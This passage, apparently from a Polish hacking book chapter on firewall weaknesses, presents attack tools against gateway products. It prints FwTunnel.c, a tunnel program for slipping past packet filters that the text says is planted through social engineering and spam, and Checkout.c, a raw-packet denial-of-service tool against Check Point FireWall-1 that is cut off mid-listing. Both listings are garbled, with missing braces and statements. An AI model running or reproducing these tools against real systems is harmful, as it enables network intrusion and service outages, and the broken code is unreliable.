Rozdział 10. ¨ Serwery proxy i zapory firewall 603
W kolejnym podrozdziale zajmiemy się, badanymi przez grupę Underground, sekretnymi „furtkami” w mechanizmach ochrony granic sieci, określanych nazwami proxy i firewall. Dla przypomnienia serwer proxy to program funkcjonujący jako pośrednik między przeglądarką WWW a serwerem WWW w Internecie. Program serwera proxy jest więc rodzajem bramy, która oddziela sieć wewnętrzną użytkownika od jej otoczenia. Może też funkcjonować jako zapora firewall, pracująca w warstwie aplikacji i filtrująca pakiety przychodzące w celu ochrony sieci przed dostępem osób nieupoważnionych. Podobnie funkcjonuje każde oprogramowanie typu zapora firewall— kontroluje dostęp do sieci zgodnie z pewnymi założeniami, stosując filtry stanowe, które blokują lub też zezwalają na wymianę danych z siecią wewnętrzną.
Poniżej przedstawiamy przegląd luk w zabezpieczeniach oprogramowania bramek sieciowych: BorderWare, Firewall-1, Gauntlet, NetScreen, PIX, Raptor i WinGate.
Pracujące na platformie Intel oprogramowanie BorderWare (www.borderware.com) zapewnia całościową ochronę sieci, stosując trzy moduły umiejscowione na jej granicach. Realizują one filtrowanie pakietów oraz monitorowanie na poziomie aplikacji i obwodu. Uzupełnieniem są funkcje VPN serwer-serwer i klient-serwer, filtrowanie adresów URL i witryn oraz specjalne mechanizmy ochronne dla ekstranetów i aplikacji handlu elektronicznego. BorderWare Firewall Console, choć bywa nieco nużąca, zapewnia, oparty na systemie menu, wygodny dostęp do poszczególnych modułów. Konfiguracja domyślna wyklucza wszelkie bezpośrednie połączenia z siecią chronioną, inicjowane od strony interfejsu zewnętrznego. Administrator samodzielnie musi skonfigurować składnik obsługujący dostęp zdalny. Narzędzia nie są wyposażone w interfejs wiersza poleceń.
Streszczenie: Korzystają z technik cichego skanowania i (lub) zniekształconego uzgadniania TCP, osoba nieupoważniona może wykryć tunel ACK oprogramowania bramy.
Stan po ataku: Nieautoryzowane przejęcie kontroli nad systemami docelowymi.
Podatność: Wszystkie wersje w określonych konfiguracjach.
Luka: Jak opisywano to we wcześniejszych rozdziałach, funkcjonowanie protokołu TCP opiera się na połączeniu wirtualnym, realizowanym za pośrednictwem protokołu IP. Na procedurę ustanawiania sesji składa się pakiet SYN stacji inicjującej i odpowiedź, pakiet SYN/ACK, stacji wywoływanej. Typowe zapory firewall filtrujące pakiety za początek sesji uznają segment SYN. Do tych segmentów stosowane są więc odpowiednie filtry. Taki schemat działania, oparty na badaniu pakietu SYN, a nie ACK, wynika z prostego faktu, że w każdej sesji występuje jeden pakiet SYN i tysiące lub miliony pakietów ACK. Ma to istotne znaczenie dla obciążenia i wymagań sprzętowych wobec serwera. Rozwiązanie tańsze ma oczywiście zasadniczą wadę — umożliwia włamanie metodą tunelową. Drobna znajomość socjotechniki i spamu w poczcie elektronicznej pozwoli hakerowi zainstalować odpowiednio spreparowany tunel, dopasowany do konfiguracji zapory. Jako przykład przedstawiamy FwTunnel.c.
FwTunnel.c
#define UDP
#undef TCP
#define BUFSIZE 4096
void selectloop(int netfd, int tapfd);
void usage(void);
char buffer[BUFSIZE];
main(int ac, char *av[]) {
int destport;
struct sockaddr_in destaddr;
struct hostent *ht;
int sock;
int daemon;
int netfd;
int tapfd;
/* sprawdzenie liczby parametrów */
if(ac != 3)
usage();
/* pobranie numeru portu, atoi != 0 */
if((destport = atoi(av[2])) == 0)
/* jesteśmy demonem czy klientem? */
if(av[1][0] == '-')
daemon = 1;
else
daemon = 0;
if(!daemon) {
/* odwzorowanie DNS */
if((ht = gethostbyname(av[1])) == NULL) {
switch(h_errno) {
case HOST_NOT_FOUND:
printf("%s: Unknown host\n", av[2]);
break;
case NO_ADDRESS:
printf("%s: No IP address for hostname\n", av[2]);
case NO_RECOVERY:
printf("%s: DNS Error\n", av[2]);
case TRY_AGAIN:
printf("%s: Try again (DNS Fuckup)\n", av[2]);
default:
printf("%s: Unknown DNS error\n", av[2]);
}
exit(0);
/* struktura destaddr */
destaddr.sin_port = htons(destport);
destaddr.sin_family = AF_INET;
memcpy(&destaddr.sin_addr, ht->h_addr, ht->h_length);
#ifdef TCP
sock = socket(AF_INET, SOCK_STREAM, 0);
#endif
#ifdef UDP
sock = socket(AF_INET, SOCK_DGRAM, 0);
if(sock == -1) {
perror("socket");
printf("Opening network socket.\n");
if(connect(sock, &destaddr, sizeof(struct sockaddr_in)) ==
-1) {
perror("connect");
netfd = sock;
else {
struct sockaddr_in listenaddr;
struct sockaddr_in remote;
int socklen;
listenaddr.sin_port = htons(destport);
listenaddr.sin_family = AF_INET;
listenaddr.sin_addr.s_addr = inet_addr("0.0.0.0");
if(bind(sock, &listenaddr, sizeof(struct sockaddr_in)) ==
perror("bind");
socklen = sizeof(struct sockaddr_in);
if(listen(sock, 1) == -1) {
perror("listen");
printf("Waiting for TCP connection...\n");
if((netfd = accept(sock, &listenaddr, &socklen)) == -1) {
perror("accept");
#else /* TCP */
recvfrom(netfd, buffer, BUFSIZE, MSG_PEEK, &remote,
&socklen);
connect(netfd, &remote, socklen);
/* teraz przez netfd będzie można porozumieć się z siecią */
printf("Opening /dev/tap0\n");
tapfd = open("/dev/tap0", O_RDWR);
if(tapfd == -1) {
perror("tapfd");
selectloop(netfd, tapfd);
return 0;
void selectloop(int netfd, int tapfd) {
fd_set rfds;
int maxfd;
int len;
if(netfd > tapfd)
maxfd = netfd;
maxfd = tapfd;
while(1) {
FD_ZERO(&rfds);
FD_SET(netfd, &rfds);
FD_SET(tapfd, &rfds);
if(select(maxfd+1, &rfds, NULL, NULL, NULL) == -1) {
perror("select");
if(FD_ISSET(netfd, &rfds)) {
FD_CLR(netfd, &rfds);
if((len = read(netfd, buffer, BUFSIZE)) < 1) {
if(len == -1)
perror("read_netfd");
printf("netfd died, quitting\n");
close(tapfd);
printf("%d bytes from network\n", len);
write(tapfd, buffer, len);
continue;
if(FD_ISSET(tapfd, &rfds)) {
FD_CLR(tapfd, &rfds);
if((len = read(tapfd, buffer, BUFSIZE)) < 1) {
perror("read_tapfd");
printf("tapfd died, quitting\n");
shutdown(netfd, 2);
close(netfd);
printf("%d bytes from interface\n", len);
write(netfd, buffer, len);
} /* koniec pętli */
Przedstawiane na kolejnych stronach programy znaleźć można na dołączonym do książki CD-ROM-ie.
Check Point Software Technologies Ltd. (www.checkpoint.com), firma założona w 1993 roku, szybko stała się światowym liderem technologii zapór firewall. Przyczyniła się do tego OPSEC (Open Platform for Security) — struktura integracji i współpracy opracowana pod kątem wiodących rozwiązań 250 firm-partnerów. Główny element oprogramowania Network Security firmy Check Point, FireWall-1 to wyróżniający się pakiet zabezpieczeń dla przedsiębiorstw, integrujący kontrolę dostępu, uwierzytelnianie, szyfrowanie, translację adresów NAT, ochronę danych oraz mechanizmy inspekcji.
Streszczenie: Zapora ulega awarii, gdy odbierze pakiety ze swoim własnym IP, ale wysłane spod innego adresu MAC.
Stan po ataku: Awaria systemu.
Podatność: 3x, 4x.
Luka: Program Checkout.c, napisany przez guru hakerów, lore, wysyła do przyłącza zapory kilka spreparowanych pakietów UDP.
Checkout.c
#define __BSD_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/ip_udp.h>
#define TRUE 1
#define FALSE 0
#define ERR -1
typedef u_long ip_t;
typedef long sock_t;
typedef struct ip iph_t;
typedef struct udphdr udph_t;
typedef u_short port_t;
#define IP_SIZE (sizeof(iph_t))
#define UDP_SIZE (sizeof(udph_t))
#define PSIZE (IP_SIZE + UDP_SIZE)
#define IP_OFF (0)
#define UDP_OFF (IP_OFF + IP_SIZE)
void usage __P ((u_char *));
u_short checksum __P ((u_short *, int));
int main (int argc, char * * argv)
{
ip_t victim;
sock_t fd;
iph_t * ip_ptr;
udph_t * udp_ptr;
u_char packet[PSIZE];
u_char * yes = "1";
struct sockaddr_in sa;
port_t aport;
u_long packets;
if (argc < 3)
usage (argv[0]);
fprintf(stderr, "\n*** CheckPoint IP Firewall DoS\n");
fprintf(stderr, "*** Bug discovered by: antipent <rtodd@antipentium.com>\n");
fprintf(stderr, "*** Code by: lore <fiddler@antisocial.com>\n\n");
if ((victim = inet_addr(argv[1])) == ERR)
fprintf(stderr, "Bad IP address '%s'\n", argv[1]);
exit(EXIT_FAILURE);
else if (!(packets = atoi(argv[2])))
fprintf(stderr, "You should send at least 1 packet\n");
else if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == ERR)
fprintf(stderr, "Couldn't create raw socket: %s\n", strerror(errno));
else if ((setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &yes, 1)) == ERR)
fprintf(stderr, "Couldn't set socket options: %s\n", strerror(errno));
srand((unsigned)time(N...
streser